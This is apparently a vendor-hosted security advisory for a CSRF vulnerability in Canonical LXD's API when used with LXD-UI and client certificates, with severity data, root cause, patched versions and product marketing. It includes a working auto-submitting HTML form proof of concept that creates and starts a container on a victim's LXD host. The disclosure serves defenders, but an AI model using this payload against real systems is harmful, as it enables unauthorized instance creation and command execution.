GHSA-p8hw-rfjg-689h — lxd
HIGHGHSA-p8hw-rfjg-689h is a high-severity (CVSS 8.3) Cross-Site Request Forgery (CSRF) vulnerability in github.com/canonical/lxd. A fix is available for github.com/canonical/lxd — see the affected versions and patch details below.
Canonical LXD CSRF Vulnerability When Using Client Certificate Authentication with the LXD-UI
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-p8hw-rfjg-689h.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-p8hw-rfjg-689h plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/canonical/lxd🐹github.com/canonical/lxd🐹github.com/canonical/lxd🐹github.com/canonical/lxdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Description
OIDC authentication uses cookies with the SameSite=Strict attribute, preventing cookies from being sent with requests from other sites. Therefore, CSRF does not occur as long as web services in a Same Site relationship (same eTLD+1) with the origin running LXD-UI are trusted.
However, since the SameSite concept does not apply to client certificates, CSRF protection that doesn't rely on the SameSite attribute is necessary.
Note that when using cross-origin fetch API, client certificates are not sent in no-cors mode due to CORS restrictions (according to the WHATWG Fetch specification(https://fetch.spec.whatwg.org/#credentials), client certificates are treated as credentials), making cross-site attacks using fetch API difficult unless CORS settings are vulnerable. However, since LXD's API parses request bodies as JSON even when Content-Type is text/plain or application/x-www-form-urlencoded, CSRF attacks exploiting HTML form submissions are possible.
Reproduction Steps
- Prepare a malicious website controlled by the attacker
- Deploy the following HTML form to implement an attack that automatically creates instances when victims visit:
This exploit code automatically sends a JSON string as text/plain to create an instance when rendered.
Note that for this PoC to work, the specified profile (default) must have a Default instance storage pool configured. This is typically set in the default profile of projects created after storage pool creation.
<html>
<body>
<form enctype="text/plain" method="POST" action="https://lxd-host:8443/1.0/instances?project=default&target=" id="form">
<input type="hidden" name='{"' id="input">
<input type="submit">
</form>
<script>
const i = document.getElementById('input');
i.value = `":123,"name":"poc","type":"container","profiles":["default"], "source":{"alias":"24.04","mode":"pull","protocol":"simplestreams","server":"https://cloud-images.ubuntu.com/releases","type":"image"},"devices":{},"config":{},"start":true}`;
document.getElementById('form').submit();
</script>
</body>
</html>
- Log in to LXD-UI with a user having permissions to create instances in the project (default) specified in step 2
- Access the URL of the HTML file prepared in step 2 and confirm that an instance is created and started
Risk
The attack conditions require that the victim is already connected to LXD using client certificate authentication and that the attacker can lead the victim to a controlled website.
Possible actions through the attack include, depending on the victim's permissions, creating and starting arbitrary instances, and executing arbitrary commands inside containers using cloud-init.
Countermeasures
The most effective countermeasure is to strictly enforce Content-Type validation at API endpoints.
Specifically, change the implementation to reject requests when Content-Type is not application/json. With this countermeasure, attackers cannot send proper JSON requests using Simple Requests (HTML form submissions) and must use fetch API with CORS. However, as long as proper CORS settings are implemented, client certificates are not sent with cross-origin fetch API requests, preventing the attack.
Additionally, implementing CSRF tokens or validating Origin/Referer headers could be considered as countermeasures, but these would create compatibility issues with the LXD command, which is another API client.
Patches
| LXD Series | Status |
|---|---|
| 6 | Fixed in LXD 6.5 |
| 5.21 | Fixed in LXD 5.21.4 |
| 5.0 | Fixed in LXD 5.0.5 |
| 4.0 | Ignored - No web UI |
References
Reported by GMO Flatt Security Inc.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/canonical/lxd | ≥ 5.0&&< 5.0.5 | 5.0.5go get github.com/canonical/lxd@v5.0.5 |
| 🐹Go | github.com/canonical/lxd | ≥ 5.1&&< 5.21.4 | 5.21.4go get github.com/canonical/lxd@v5.21.4 |
| 🐹Go | github.com/canonical/lxd | ≥ 6.0&&< 6.5 | 6.5go get github.com/canonical/lxd@v6.5 |
| 🐹Go | github.com/canonical/lxd | ≥ 0.0.0-20220401034332-1e1349e3cbf3&&< 0.0.0-20250827065555-0494f5d47e41 | 0.0.0-20250827065555-0494f5d47e41go get github.com/canonical/lxd@v0.0.0-20250827065555-0494f5d47e41 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/canonical/lxd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/canonical/lxd to 5.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p8hw-rfjg-689h is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-p8hw-rfjg-689h can be triaged on real exposure rather than presence alone.
Tailored to GHSA-p8hw-rfjg-689h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-p8hw-rfjg-689h in your dependencies?
O3 Security finds GHSA-p8hw-rfjg-689h across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.